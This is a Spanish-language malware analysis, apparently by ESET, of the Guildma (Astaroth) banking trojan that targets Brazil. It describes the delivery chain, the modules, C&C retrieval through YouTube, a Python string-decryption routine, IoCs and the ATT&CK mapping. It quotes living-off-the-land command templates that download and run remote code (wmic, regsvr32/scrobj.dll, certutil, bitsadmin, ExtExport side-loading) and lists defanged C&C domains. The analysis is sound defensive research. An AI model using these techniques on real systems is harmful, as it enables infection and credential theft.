En esta publicación analizaremos a Guildma (también conocido como Astaroth, un poderoso demonio), un troyano bancario latinoamericano de gran prevalencia. Este troyano, escrito en Delphi, que apunta a usuarios de Brasil, cuenta con algunas técnicas de ejecución y ataque innovadoras. En esta publicación describiremos la versión más reciente de este troyano, destacando los cambios más importantes realizados desde mediados de 2019, cuando se publicaron varios artículos sobre Guildma a raíz de lo que fue su campaña más grande hasta el momento.
Características de Guildma
Guildma es un troyano bancario que apunta sus campañas exclusivamente a Brasil. Según datos de nuestra telemetría (y también por la atención pública que recibió), creemos que es el troyano bancario más impactante y avanzado de la región. Además de apuntar a las instituciones financieras, Guildma también intenta robar credenciales de cuentas de correo electrónico, tiendas en línea y servicios de streaming, y afecta a una cantidad de víctimas diez veces mayor que cualquiera de los otros troyanos bancarios ya descritos en nuestra serie sobre troyanos bancarios de América Latina. Asimismo, utiliza innovadores métodos de ejecución y sofisticadas técnicas de ataque.
A diferencia de los otros troyanos bancarios que hemos descrito como parte de esta serie, Guildma no almacena las falsas ventanas emergentes que usa dentro del binario. En cambio, el ataque está orquestado por su servidor C&C. Esto les da a los autores una mayor flexibilidad para reaccionar ante las contramedidas implementadas por los bancos seleccionados.
Guildma implementa las siguientes funcionalidades de backdoor:
- Realiza capturas de pantalla
- Registra las pulsaciones de teclado
- Emulación de teclado y mouse
- Bloqueo de atajos de teclado (como deshabilitar Alt + F4 para que sea más difícil deshacerse de las ventanas falsas que puede mostrar)
- Descarga y ejecuta archivos
- Reinicio de la máquina
Guildma es muy modular. Al momento de escribir esta publicación está compuesto por 10 módulos, sin incluir las etapas de la cadena de distribución. La funcionalidad de los módulos individuales se discutirá más adelante.
Evolución de las cadenas de distribución
Según datos de nuestra telemetría, Guildma se propaga exclusivamente a través de correos spam que incluyen archivos adjuntos maliciosos. A continuación, compartimos algunos ejemplos de una campaña de mediados de noviembre de 2019.
Una de las características típicas de las cadenas de distribución de Guildma es la de utilizar herramientas ya presentes en el sistema, a menudo de formas nuevas e inusuales.
Otra característica es la reutilización de técnicas. Si bien agregan nuevas técnicas de vez en cuando, en general los desarrolladores parecen simplemente reutilizar técnicas de versiones anteriores.
La Figura 5 muestra la cadena de distribución para la versión 150, pero la estructura de las cadenas de distribución de Guildma es muy dinámica. Por ejemplo, en versiones anteriores, el archivo LNK malicioso que se muestra en la Figura 5 no estaba embebido en un archivo ZIP, o se utilizó en su lugar un archivo SFX RAR que contenía un instalador MSI. Además, solía haber otra etapa JScript cuyo único propósito era descargar y ejecutar la etapa JScript final. En síntesis, son demasiados los cambios que ha habido como para lograr comentarlos todos en este artículo. De hecho, la única parte que se ha mantenido prácticamente igual es la etapa JScript final.
Utilizando datos recabados del extenso seguimiento que hemos realizado de esta familia, hemos compilado una muy buena imagen de la actividad de Guildma.
La Figura 6 muestra todas las detecciones de ESET del componente de la primera etapa de Guildma. Como se puede observar, las campañas crecieron lentamente hasta la llegada de una campaña masiva en agosto de 2019, cuando vimos hasta 50,000 muestras por día. Esta campaña continuó durante casi dos meses y significó más del doble de la cantidad de detecciones que habíamos visto en los 10 meses anteriores.
A continuación, presentamos un resumen de algunas de las técnicas más interesantes utilizadas en los últimos 14 meses.
Ejecución de la etapa JScript
Durante el último año, Guildma ha utilizado varios métodos para ejecutar las etapas JScript de su cadena de distribución. A finales de 2018, Guildma estaba ocultando su código en archivos eXtensible Stylesheet Language (.xsl) y utilizando wmic.exe para descargarlos y ejecutarlos:
wmic.exe <wmic query> /format:"<URL>"
Luego pasó a usar regsvr32.exe y scrobj.dll para descargar un objeto COM implementado con JScript y ejecutar su rutina de registro (que contenía el código malicioso):
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
Más recientemente, los autores comenzaron a abusar del Explorador de Windows para ejecutar la etapa JScript. Este ataque se basa en que Windows Explorer intentará abrir en la línea de comandos cualquier archivo que le envíen con su programa asociado y el hecho de que la asociación predeterminada para los archivos .js es el Microsoft Windows Script Host. El "script" pasado al Explorador de Windows es un comando único cuyo propósito es descargar y ejecutar la etapa JScript real:
echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js
Ejecución de los módulos binarios
Los métodos para ejecutar los módulos PE no son menos diversos.
Cuando comenzamos a rastrear Guildma, abusaba de aswRunDll.exe de Avast para lanzar la primera etapa binaria, con regsvr32.exe como una conmutación por error en computadoras en las que los productos de Avast no estaban instalados. El uso de aswRunDll.exe se eliminó, dejando regsvr32.exe como el único método de ejecución. Después de un breve período en el que utilizó rundll32.exe, Guildma cambió a su método de ejecución actual: ExtExport.exe.
ExtExport.exe es un componente indocumentado de Microsoft Internet Explorer que se utiliza para exportar marcadores desde Mozilla Firefox y 360 Secure Browser, y se puede abusar de él para la carga lateral de DLL. Cuando se ejecuta el siguiente comando, se cargan mozcrt19.dll, mozsqlite3.dll, y sqlite3.dll desde la carpeta especificada en la línea de comandos:
C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>
Para abusar de esto, normalmente droppearía la DLL para cargarla como uno de los archivos mencionados anteriormente. Guildma usa los tres.
Descargando los módulos binarios
Guildma también ha utilizado un par de formas diferentes para descargar los módulos binarios. La primera versión estaba usando exe copiado a certis.exe (presumiblemente para evadir la detección):
certis.exe -urlcache -split -f "<URL>" "<destination path>"
Los autores luego cambiaron a BITSAdmin, la herramienta de administración Background Intelligent Transfer Service de Microsoft, y todavía la están usando al momento de escribir esta publicación:
bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>
Durante un par de meses, los módulos binarios fueron codificados en base64 y alojados en Google Cloud. En ese momento, Guildma estaba usando BITSAdmin y certutil — BITSAdmin para descargar los módulos y certutil para decodificarlos.
Otros cambios
Guildma utiliza nombres extraños, no descriptivos de variables y funciones. Cuando comenzamos a rastrear a Guildma, los nombres, aunque carecían de sentido, estaban claramente hechos por el hombre (por ejemplo, "radador" para la función de número aleatorio o "Bxaki" para la función de descarga). En junio de 2019, todos se cambiaron a nombres de aspecto aleatorio (por ejemplo, "bx021" y "mrc430" ). Al principio pensamos que los autores implementaron algún tipo de ofuscador de scripts automático, pero resultó ser un cambio único y los nombres han permanecido igual desde entonces.
Una adición relativamente nueva es la antigua técnica de utilizar ADS (Alternate Data Streams) para almacenar los módulos binarios. Todos los módulos ahora se almacenan como ADS de un solo archivo (por ejemplo, "desktop.ini: nauwuygiaa.jpg", "desktop.ini: nauwuygiab.jpg", etc.).
Historial de versiones
Aparentemente, Guildma ha pasado por muchas versiones durante su desarrollo, pero generalmente hubo muy poco desarrollo entre versiones, debido a su pesada arquitectura que utiliza valores de configuración hardcodeados, los autores deben recopilar todos los binarios para cada nueva campaña. Un trabajo que claramente no está completamente automatizado, ya que a menudo ha habido un retraso significativo entre la actualización del número de versión en los scripts y en los binarios.
En este artículo, cubrimos la versión 150, pero desde que comenzamos a escribir, se han lanzado dos versiones más. No contienen cambios sustanciales en la funcionalidad o distribución, lo que respalda nuestras afirmaciones sobre el ciclo de desarrollo de Guildma.
La etapa final de la cadena de distribución solía contener un nombre de versión (e incluso antes de eso, solía descargar dicho nombre junto con los módulos binarios), pero ha sido (presumiblemente) reemplazado permanentemente con un simple "xXx" desde la versión 148.
La Tabla 1 resume todas las versiones lanzadas desde que comenzamos a rastrear Guildma activamente en octubre de 2018. Al observar las strings de versiones, tenemos la sensación de que el autor es un apasionado de la ecología y los autos veloces.
Tabla 1. Historial de versiones de Guildma
First seen | Version number | Version name | Version prefix |
---|---|---|---|
2018-09-18 | 131 | 131_SUPER_Tesla | marxvxinhhm |
2018-10-31 | 132 | 132_ULTRA_Tesla | srsysddirrx |
2018-11-28 | 133 | 133_TORRE_DE_Tesla | mxgetronicosxy |
2018-11-29 | 134 | 134_MAXX_TESLAs | dwqiopawsamazon |
2018-12-03 | 135 | 135_MOAB_TESLAs | lu769tsla |
2018-12-13 | 136 | 136_KRAKEN_TESLAs | lrdsnhrxxfery |
2019-02-06 | 137 | 137_RAPTOR_TESLAs | rakpat0rpcack |
2019-03-21 | 138 | 138_RAPTOR_TESLAs_ | hillwd763free |
2019-05-20 | 139 | 139_TESLA_ | falxconxrenw |
2019-06-03 | 140 | 140_ASTH_ | valehraysystqx |
2019-06-24 | 141 | 141_T3SL4S_ | ayt3ese4xw |
2019-07-17 | 142 | 142_T3SL4S_ | halawxtz |
2019-08-09 | 143 | 143_T3SL4S_ | asmonnwqk |
2019-08-26 | 144 | 144_MULT1T3SL4S_ | daffsyshqy |
2019-09-26 | 145 | 145_MULT1T3SL4S_ | landoqeahjky |
2019-10-16 | 146 | 146_MULT1T3SL4S_ | valkanxpca |
2019-11-04 | 147 | 147_MULT1T3SL4S_ | koddsuffy |
2019-11-19 | 148 | xXx | lpquayevvt |
2019-11-22 | 149 | #rowspan# | nauwuygia |
2019-12-13 | 150 | #rowspan# | andrealfo |
2020-01-14 | 151 | #rowspan# | balberith |
2020-02-05 | 152 | #rowspan# | masihaddajjal |
Descripción del módulo
Como se mencionó anteriormente, Guildma es muy modular. La estructura de sus módulos parece ser mayormente constante. En esta sección, describiremos brevemente la funcionalidad de cada módulo.
Todos los nombres de los módulos están compuestos por: un prefijo compartido y dependiente de la versión y un sufijo específico del módulo. En la Tabla 2, el prefijo dependiente de la versión es andrealfo.
Table 2. Guildma module overview
URL filename | Filesystem filename | Module |
---|---|---|
andrealfohh1a.dll.zip | andrealfo64.~ | Main module loader 1 (part 1) |
andrealfohh1b.dll.zip | #rowspan# | Main module loader 1 (part 2) |
andrealfoxa.gif.zip | andrealfoxa.gif | Main module injector (part 1) |
andrealfoxb.gif.zip | andrealfoxb.gif | Main module injector (part 2) |
andrealfoxc.gif.zip | andrealfoxc.gif | Main module injector (part 3) |
andrealfogx.gif.zip | andrealfogx.gif | Main module loader 2 |
andrealfog.gif.zip | andrealfog.gif | Main module |
andrealfoc.jpg.zip | andrealfoc.jpg | Contacts stealer and form grabber module |
andrealfodwwn.gif.zip | andrealfodwwn.gif | RAT module (DLL) |
andrealfodx.gif.zip | andrealfodx.gif | RAT module (EXE) |
andrealfoa.jpg.zip | andrealfoa.jpg | MailPassView |
andrealfob.jpg.zip | andrealfob.jpg | WebBrowserPassView |
andrealfoi.gif.zip | andrealfoi.gif | JScript dropper module |
A excepción del módulo principal loader 1 (*64.~) y del módulo injector principal (*xa.gif, *xb.gif and *xc.gif), todos los módulos están encriptados con un simple cifrado XOR usando una repetición Clave de 32 bytes. La clave se genera a partir de un seed de 32 bits utilizando el algoritmo que se muestra en la Figura 7. El valor del seed se ofusca en los binarios para evitar una extracción simple (ver Figura 8).
Tres módulos se comunican con un servidor C&C: el módulo principal, el módulo RAT y el módulo para robar contactos y capturar formularios. La comunicación se realiza a través de HTTP (S) utilizando una combinación de base64 y varios algoritmos de cifrado simples y personalizados para proteger los datos que se transfieren.
En la siguiente sección, describimos cómo se obtiene la dirección del servidor C&C.
Módulo principal loader 1 (* 64. ~)
Esta es la primera etapa binaria de la cadena. El archivo es una DLL descargada en dos partes que es concatenada en la etapa JScript anterior. Carga los tres archivos que comprenden el loader de la siguiente etapa (*xa.gif, *xb.gif y *xc.gif), los concatena, asigna el archivo PE resultante en su propio espacio de direcciones y lo ejecuta.
Cargar un archivo PE es un proceso relativamente complejo, por lo que los autores utilizaron la biblioteca de código abierto BTMemoryModule para este propósito
Injector del módulo principal (* xa.gif + * xb.gif + * xc.gif)
Este módulo carga la siguiente etapa (* gx.gif) del disco y la descifra. Luego ejecuta el primer ejecutable existente de la siguiente lista e inyecta el payload descifrado en él.
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
- C:\Program Files\Diebold\Warsaw\unins000.exe *
- C:\Windows\SysWOW64\userinit.exe
- C:\Windows\System32\userinit.exe
* Una aplicación, popular en Brasil, para proteger el acceso a la banca en línea.
Módulo principal loader 2 (* gx.gif)
La última etapa del loader es muy simple y parece duplicar innecesariamente la funcionalidad del módulo principal loader 1. Carga y descifra el módulo principal (*g.gif), lo mapea en su propio espacio de memoria y lo ejecuta
Módulo principal (* g.gif)
El módulo principal de Guildma organiza todos los módulos restantes. Su implementación es engañosamente compleja, utilizando innumerables temporizadores y eventos, pero su funcionalidad es relativamente simple. Contiene código heredado que ya no es utilizado, así como el código de pre-producción que todavía no está siendo utilizado.
Una vez cargado, este módulo verifica si está siendo ejecutado en un entorno de sandbox (por ejemplo, examinando el nombre de la computadora y la ID del volumen del disco del sistema), si hay otras instancias de sí mismo en ejecución (según los nombres de las ventanas) y si la configuración regional del sistema es diferente del portugués. Si este proceso comprueba que el sistema no es interesante o que ya ha sido comprometido por Guildma, el malware termina.
De lo contrario, el módulo recopila información del sistema (nombre de la computadora, qué antivirus está utilizando, qué programas tiene instalados...) y establece contacto con el servidor de C&C. Luego, comienza a monitorear eventos interesantes, principalmente cuando se inician ciertas aplicaciones o se abren sitios de banca en línea, y a ejecutar ciertas acciones (por ejemplo: tomar capturas de pantalla, evitar que el usuario cierre la ventana interceptando atajos de teclado, inicia el módulo RAT, etc.).
El módulo también implementa comandos de backdoor cuya funcionalidad se superpone en gran medida con el módulo RAT.
Ladrón de contactos y capturador de formularios (* c.jpg)
Este módulo tiene dos funciones: recopilar direcciones de correo electrónico y datos de formularios de páginas web.
Las direcciones de correo electrónico se obtienen de los clientes de correo electrónico de escritorio (como Microsoft Outlook, ThunderBird y The Bat!) parseando sus libretas de direcciones y los propios correos electrónicos.
El capturador de formularios utiliza la tecnología de Windows COM para interactuar con Internet Explorer. Espera hasta que se abra un sitio específico (en su mayoría servicios de correo brasileños, tiendas electrónicas y pasarelas de pago) y luego cierra la sesión del usuario, obligando a la víctima a ingresar sus credenciales. Luego recupera el DOM y busca valores de campo de entrada importantes (como nombres de usuario, contraseñas y números de tarjetas de crédito).
Módulo RAT (* dwwn.gif, * dx.gif)
El módulo RAT viene en dos compilaciones funcionalmente idénticas: DLL (*dwwn.gif) y EXE (*.dx.gif)
Implementa la funcionalidad de descarga y ejecución, puede realizar capturas de pantalla, emular acciones de teclado y mouse, y reiniciar la computadora.
La mayoría de los troyanos bancarios de América Latina muestran falsas ventanas emergentes basadas en el monitoreo del nombre de la ventana activa. Estas ventanas generalmente se almacenan en el binario. No hemos encontrado dicho código en Guildma, pero el módulo RAT contiene un formulario Delphi que implementa un navegador web simple. Dado que también se ejecuta según el nombre de la ventana activa, creemos que este formulario se utiliza para desplegar falsos diálogos al usuario.
MailPassView (* a.jpg) y BrowserPassView (* b.jpg)
Estas son herramientas gratuitas de Nirsoft para extraer credenciales guardadas tanto de clientes de correo electrónico populares como de navegadores web. Dado que en las versiones más recientes Nirsoft ha eliminado el soporte para ciertas operaciones (output a archivo, sin GUI) para detener el abuso de estas herramientas por malware, los autores de Guildma están utilizando versiones anteriores que sí tenían esas características. Mispadu también aprovecha las mismas herramientas, excepto que Mispadu está utilizando versiones más nuevas parcheadas para soportar dichas operaciones
Módulo dropper de JScript (* i.gif)
Este módulo descarta y ejecuta (usando cscript.exe) un archivo JScript. El script consta de dos partes: la primera parte se almacena como una string larga cifrada, mientras que la segunda parte se ensambla a partir de muchas strings cortas (algunas cifradas y otras en texto plano).
El script ejecuta las siguientes acciones
- Deshabilita UAC
- Deshabilita la comprobación de firma EXE
- Deshabilita Windows Defender
- Crea una regla de firewall que deshabilita el acceso a la red para
C:\Program Files\AVAST Software\Avast\Setup\avast.setup - Deshabilita el driver wsddntf (Diebold Warsaw GAS Tecnologia - el software de protección de acceso bancario presentado anteriormente)
- Agrega una excepción de firewall para archivos utilizados como objetivos de inyección
- C:\Program Files\Diebold\Warsaw\unins000.exe
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
Creemos que este módulo aún puede estar en desarrollo, ya que nunca hemos observado en nuestras máquinas de prueba el droppeado de script.
Nuevos desarrollos (desde mediados de 2019)
Nueva recuperación de C&C
En la versión 142 se implementó una nueva forma de distribuir servidores C&C abusando de los perfiles de YouTube y Facebook. Sin embargo, los autores dejaron de usar Facebook casi de inmediato, pero al momento de escribir esta publicación, confían completamente en YouTube. Esto es similar a Casbaneiro, aunque un poco más crudo. Mientras Casbaneiro ocultaba los datos en las descripciones de los videos y los ofuscaba como parte de una URL, Guildma simplemente coloca los datos en la descripción del canal. El inicio y el final de las direcciones C&C cifradas están delimitados por "|||". Los datos intermedios están codificados y cifrados en base64 utilizando el algoritmo de cifrado de strings de Mispadu. Este es ahora el método principal para recuperar servidores C&C. El método anterior (descrito por Avast) todavía está presente como una copia de seguridad.
Módulos añadidos y eliminados
El módulo dropper de JScript descrito anteriormente se agregó en la versión 145. Por el contrario, en la versión 139, Guildma eliminó otros dos módulos presentes en versiones anteriores: el correo masivo (*f.jpg) y su loader (*e.jpg). En las siguientes versiones, estos módulos todavía eran accesibles con los nombres esperados (<version prefix>e.jpg y <version prefix>f.jpg) desde el mismo servidor que los otros módulos. Esto nos lleva a creer que estos módulos aún están en desarrollo, pero ahora solo se distribuyen según sea necesario, presumiblemente utilizando el comando de descarga y ejecución de backdoor.
Nuevo cifrado de strings
El módulo dropper de JScript trajo consigo un nuevo algoritmo de cifrado de strings. Una variante de este algoritmo (que se muestra en la Figura 10) se propagó a otros módulos en la versión 147.
def decrypt ( ct, key ):
# stage 1
ct = unhexlify ( ct );
last = ct [ 0 ];
s = bytearray ( ct [ 1 : ] );
for i in range ( len ( s ) ):
x = s [ i ] ^ key [ i % len ( key ) ];
if last > x:
x += 0xff;
x -= last;
last = s [ i ];
s [ i ] = x;
# stage 2 - reverse string
s = s [::-1];
# stage 3 - c = not ( c - 10 )
s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
# stage 4 - Base25 decode and key subtraction
k = ord ( s [ 0 ] ) - 65;
ot = "";
for i in range ( 1, len ( s ), 2 ):
ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
return ot;
Figura 10. Nuevo algoritmo de cifrado de strings
Originalmente, Guildma estaba usando el mismo cifrado de strings que Casbaneiro. El nuevo algoritmo tiene cuatro etapas y, como se puede ver, el algoritmo de cifrado de strings original todavía se usa como la primera etapa. También vale la pena destacar el hecho de que la cuarta etapa está utilizando nuevamente el algoritmo de cifrado de Mispadu.
En la versión 148, Guildma implementó una tabla de strings. Todas las strings se descifran al comienzo de la ejecución y se accede a ellas desde la tabla cuando es necesario.
Eliminación de blancos internacionales
En la versión 138, Guildma agregó la capacidad para apuntar a instituciones (principalmente bancos) fuera de Brasil. A pesar de eso, no hemos observado campañas internacionales. Las campañas que alojan archivos en la infraestructura de Cloudflare Workers incluso llegaron a bloquear cualquier descarga que provenga de IP no brasileñas. De hecho, en los últimos 14 meses no hemos visto ninguna campaña dirigida a usuarios fuera de Brasil
Finalmente, en la versión 145 se eliminó la capacidad de apuntar a instituciones fuera de Brasil. En base a estos hechos, creemos que fue simplemente una característica en desarrollo que terminó siendo descartada.
Conclusión
En esta parte de la serie hemos hablado sobre Guildma, el más frecuente que hemos visto de los troyanos bancarios de América Latina. Hemos mostrado su rico desarrollo histórico mientras nos centramos en la variante más reciente.
Guildma comparte una vez más las características predominantes de los troyanos bancarios latinoamericanos. Está escrito en Delphi, apunta a la región, implementa la funcionalidad de backdoor, divide su funcionalidad en muchos módulos y abusa de herramientas legítimas.
Guildma también comparte características con otras de las familias que hemos analizado anteriormente como parte de esta serie sobre troyanos bancarios de América Latina. A saber, su algoritmo de cifrado actual combina los utilizados por Casbaneiro y Mispadu.
Para cualquier consulta escríbanos a threatintel@eset.com. Los indicadores de compromiso también se pueden encontrar en nuestro repositorio de GitHub.
Indicadores de Compromiso (IoCs)
Hashes
SHA-1 | Description | ESET Detection name |
---|---|---|
45c58bc40768dce6a6c611e08fd34c62441aa776 | Main module loader 1 | Win32/Spy.Guildma.BM |
861f20b0dcc55f94b4c43e4a7e77f042c21506cf | Main module injector | Win32/Spy.Guildma.BJ |
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 | Main module loader 2 | Win32/Spy.Guildma.Q |
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d | Main module | Win32/Spy.Guildma.BS |
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc | Contacts stealer and form grabber | Win32/Spy.Guildma.D |
6c9304c5862d4e0de1c86d7ae3764f5e8358daff | RAT module (DLL) | Win32/Spy.Guildma.BR |
89fbffe456de850f7abf4f97d3b9da4bad6afb57 | RAT module (EXE) | Win32/Spy.Guildma.BR |
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d | MailPassView | Win32/PSWTool.MailPassView.E |
92bcf54079cbba04f584eac4486473c3abdd88cd | WebBrowserPassView | Win32/PSWTool.WebBrowserPassView.E |
a2048f435f076988bf094274192a196216d75a5f | JScript dropper module | Win32/Spy.Guildma.BP |
Nombres de archivo
C:\Users\Public\Libraries\qlanl\*
Link de inicio
- Ubicación
%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk
- Blancos
C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe
- Args
<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)
Servidores C&C
- https://www.zvatrswtsrw[.]ml
- https://xskcjzamlkxwo[.]gq
- https://www.vhguyeu[.]ml
- https://www.carnataldez[.]ml
- https://www.movbmog[.]ga
- https://iuiuytrytrewrqw[.]gq
- https://www.gucinowertr[.]tk
- https://equilibrios[.]ga
- https://www.clooinfor[.]cf
- https://ambirsr[.]tk
- https://dbuhcbudyu[.]tk
- https://nvfjvtntt[.]cf
- http://whia7g.acquafufheirybveru[.]online
Técnicas de MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Initial Access | T1193 | Spearphishing Attachment | Guildma distribution chains start with a malicious email attachment. |
Execution | T1073 | Rundll32 | Guildma utilizes rundll32.exe to execute its binary modules. |
T1047 | Windows Management Instrumentation | Guildma abuses WMIC.exe to execute some of its distribution chain stages. | |
Persistence | T1060 | Registry Run Keys / Startup Folder | Guildma ensures persistence by creating a LNK file in the %STARTUP% folder. |
Defense Evasion | T1197 | BITS Jobs | BITSAdmin.exe is used to download binary modules. |
T1089 | Disabling Security Tools | Guildma disables Windows Defender. | |
T1140 | Deobfuscate/Decode Files or Information | The majority of Guildma modules need to be decrypted after downloading. | |
T1073 | DLL Side-Loading | Guildma abuses ExtExport.exe for DLL Side-Loading. | |
T1096 | NTFS File Attributes | Guildma utilizes ADS to hide its modules on disk. | |
T1055 | Process Injection | Guildma utilizes process injection when executing its modules. | |
T1064 | Scripting | Guildma implements its distribution chain stages in various scripting languages (mainly JScript). | |
T1220 | XSL Script Processing | Guildma utilizes XSL script(s) in its distribution chains. | |
Credential Access | T1081 | Credentials in Files | Guildma extracts credentials stored by web browsers and email clients in files. |
T1214 | Credentials in Registry | Guildma extracts credentials stored by web browsers and email clients in Windows Registry. | |
Discovery | T1083 | File and Directory Discovery | Guildma uses presence of certain files to determine whether banking and security tools are installed. |
T1010 | Application Window Discovery | Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running. | |
T1063 | Security Software Discovery | Guildma detects the presence of several security products. | |
T1082 | System Information Discovery | Guildma collects OS version and bitness, computer name and system locale. | |
T1497 | Virtualization/Sandbox Evasion | Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments. | |
Collection | T1113 | Screen Capture | Guildma is capable of taking screenshots. |
Command and Control | T1024 | Custom Cryptographic Protocol | New C&C addresses are encrypted using custom encryption algorithms. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Guildma uploads screenshots and log files to the C&C server. |